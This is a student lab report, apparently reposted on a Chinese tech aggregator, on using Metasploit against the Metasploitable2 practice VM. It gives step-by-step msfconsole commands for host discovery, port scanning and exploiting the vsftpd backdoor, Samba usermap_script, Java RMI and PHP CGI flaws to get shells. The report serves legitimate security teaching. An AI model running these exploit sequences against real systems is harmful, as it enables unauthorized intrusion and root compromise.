20222427 2024-2025-1 《网络与系统攻防技术》实验六实验报告

news/2024/11/16 18:15:34/文章来源:https://www.cnblogs.com/Fly-Mine/p/18549640

1.实验内容

1.1 本周学习内容回顾

  • 使用了Metasploit框架,其是一个功能强大的渗透测试框架。在使用的过程当中,Metasploit 提供了种类繁多的攻击模块,涵盖了远程代码执行、服务拒绝、提权等多种攻击方式,支持对多种

操作系统和应用程序进行测试。除了漏洞利用,它还具备强大的后渗透功能,如键盘记录、文件上传下载、网络嗅探等。

  • 其次还使用了一些信息收集的工具,如nmap,Nessus等,用于漏洞检测、信息收据等操作。

1.2 实验要求
本实践目标是掌握metasploit的用法。

指导书参考Rapid7官网的指导教程。

https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/

下载官方靶机Metasploitable2,完成下面实验内容。

查询靶机IP地址,得到结果为192.168.125.146

2.实验过程

2.1 前期渗透

2.1.1 主机发现(可用Aux中的arp_sweep,search一下就可以use)

search arp_sweep
use 0
set RHOSTS 192.168.125.0/24
set THREADS 30
exploit

从图中可以看到,我们已经成功的查询到靶机:192.168.125.146

2.1.2 端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等

search portscan/tcp
set ROHSTS 192.168.125.146
exploit


2.1.3 扫描系统版本、漏洞

search auxiliary/scanner/smb/smb_version
use 0
set RHOSTS 192.168.125.146
exploit


从图上可以看到,目标主机的操作系统是Unix,版本是Samba 3.0.20-Debain,且使用SMBv1,存在已知漏洞。

2.2 Vsftpd源码包后门漏洞(21端口)

漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。

search exploit/unix/ftp/vsftpd_234_backdoor
use 0
set RHOST 192.168.125.146
exploit

攻击完以后,输入pwduname -aid等指令检测是否攻击成功。

2.3 SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入

的话,就可能允许攻击者以nobody用户的权限执行任意命令。

search exploit/multi/samba/usermap_script
use 0
set RHOST 192.168.125.146
exploit

利用成功 执行uname–a验证

2.4 Java RMI SERVER命令执行漏洞(1099端口)

漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。

首先,查看1099端口是否开放:

根据以前的TCP扫描得出的结果,可以得知1099端口已开放。

search exploit/multi/misc/java_rmi_server
use 0
show options //查看配置参数
set RHOST 192.168.125.146
exploit



执行攻击后,使用指令sessions -i 3进入任务
再输入shell,利用whoami指令验证,得到结果:root

2.5 PHP CGI参数执行注入漏洞(80端口)

漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。

search exploit/multi/http/php_cgi_arg_injection
use 0
set RHOST 192.168.125.146
exploit

攻击成功,输入dir验证:

3.问题及解决方案

  • 问题1:不知道指令:sessions -i 3的含义与用法

  • 问题1解决方案:通过在网上查询资料得知,这个指令就是可以显示session中的所有信息,这个3就是创建了多少个会话。

4.学习感悟、思考等

  • 通过本次实验以及已完成的作业,我熟悉了search-use-set-show-run/exploit这一套流程,从起始的陌生到如今的熟练,是每一次敲出这些指令所带来的经验。

  • 通过攻击了几个不同系统的靶机,我认识到没有一个操作系统是没有漏洞的,可能只是人们还没有发现出来,所以在日常生活当中,我们要提高网络安全意识,在开每一个文件、每一个网页

之前,先想想是不是钓鱼网站或者有后门的文件,警惕高位文件!

参考资料

  • Metasploit-Sessions Command 使用技巧

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/834695.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ShardingSphere 如何完美驾驭分布式事务与 XA 协议?

0 前言 基于上一文基础,详细展开 ShardingSphere 分布式事务实现。先看支持强一致性事务的XAShardingTransactionManager。 1 XAShardingTransactionManager 回到 ShardingSphere,来到 sharding-transaction-xa-core 工程的 XAShardingTransactionManager 类,分布式事务的 X…

基于Java+SSM+JSP+MYSQL实现的宠物领养收养管理系统功能设计与实现三

基于SSM整合maven开发的一款宠物收养领养管理系统附带源码指导运行视频,该项目前端模板是借鉴别人的,自己写的后台代码,该系统分为前台和后台,前台功能有:登录注册、领养中心、活动中心等。后台管理员功能有:用户管理、宠物管理、活动管理、领养管理、志愿者管理等。该项…

02物理层

001 七层体系未出世前四层体系已独霸天下成为事实,五层体系用于教授理解。 五层网络体系是抽象逻辑结构,不是物理结构,物理层不是传播媒介不是具体设施。 物理层解决怎末把数据放到传输媒介上去传输。链路层将信息交给物理层后,物理层考虑传输媒体特性对比特流进行编码。然…

团队作业4——项目冲刺6

团队作业4--项目冲刺六这个作业属于哪个课程 https://edu.cnblogs.com/campus/gdgy/CSGrade22-34作业要求 https://edu.cnblogs.com/campus/gdgy/CSGrade22-34/homework/13234作业目标 进行冲刺,团队集体协作完成项目开发GitHub连接 https://www.cnblogs.com/zayer11/p/185451…

Meissonic 文生图模型:小参数,超轻量,本地部署推理教程

阿里巴巴等联合推出的 Meissonic 文生图模型,仅 1B 参数,能在普通电脑及未来无线端运行推理。本文将详细展示其在笔记本上的本地部署教程,带你领略 Meissonic 的独特魅力与强大功能……最近,阿里巴巴集团、Skywork AI 携手香港科技大学及其广州校区、浙江大学、加州大学伯克…

大模型应用开发基础 : 语言模型的重要里程碑

本文快速复习了基于统计的语言模型的基本玩法,然后介绍了语言模型发展过程中的三个重要里程碑:神经概率语言模型、词向量模型 和 预训练模型。基于这几个里程碑的发展,开启了NLP处理的新纪元,我们可以基于经过预训练的大模型进行微调,进而处理我们自己业务领域的实际问题。…

第七章 事务

事务是应用程序将多个读写操作组合成一个逻辑单元的一种方式 从概念上讲,事务中的所有读写操作被视作单个操作来执行:整个事务要么成功(提交(commit))要么失败(中止(abort),回滚(rollback))。如果失败,应用程序可以安全地重试。 并不是所有的应用都需要事务,有时…

AI摧毁很多岗位,也会诞生很多新的岗位,如小乔陪玩

未来5年随着AI革命带来的全球生产效率的提升,将会继续摧毁大量的就业岗位,那么新的产业形态必须来临,那就是情绪价值电商带来的就业,一种新型服务业,国家也会全面支持 情绪价值的提供,线下玩伴,是满足人类基因上的陪伴基因应运而生的项目.真的是一个不错的赛道,对于像我们…

甘特图

甘特图(Gantt chart)又称为横道图、条状图(Bar chart),通过条状图来显示项目、进度和其他时间相关的系统进展的内在关系随着时间进展的情况。

江苏科技大学大二《数据结构》课内实验报告模板答案

江苏科技大学 《数据结构》实验报告 (2024/2025学年第1学期) 学生姓名: 学生学号: 院 系: 计算机学院 专 业: 考核得分: 2024 年 12 月 实验一 线性表的操作 一、实验目的 掌握线性表的基本操作在存储结构上的实现,其中以单链表的操作作为重点。 …

20222315 2024-2025-1 《网络与系统攻防技术》实验六实验报告

1、实验内容 本实践目标是掌握metasploit的用法。 指导书参考Rapid7官网的指导教程。 https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/ 下载官方靶机Metasploitable2,完成下面实验内容。 (1)前期渗透 ①主机发现(可用Aux中的arp_sweep,search…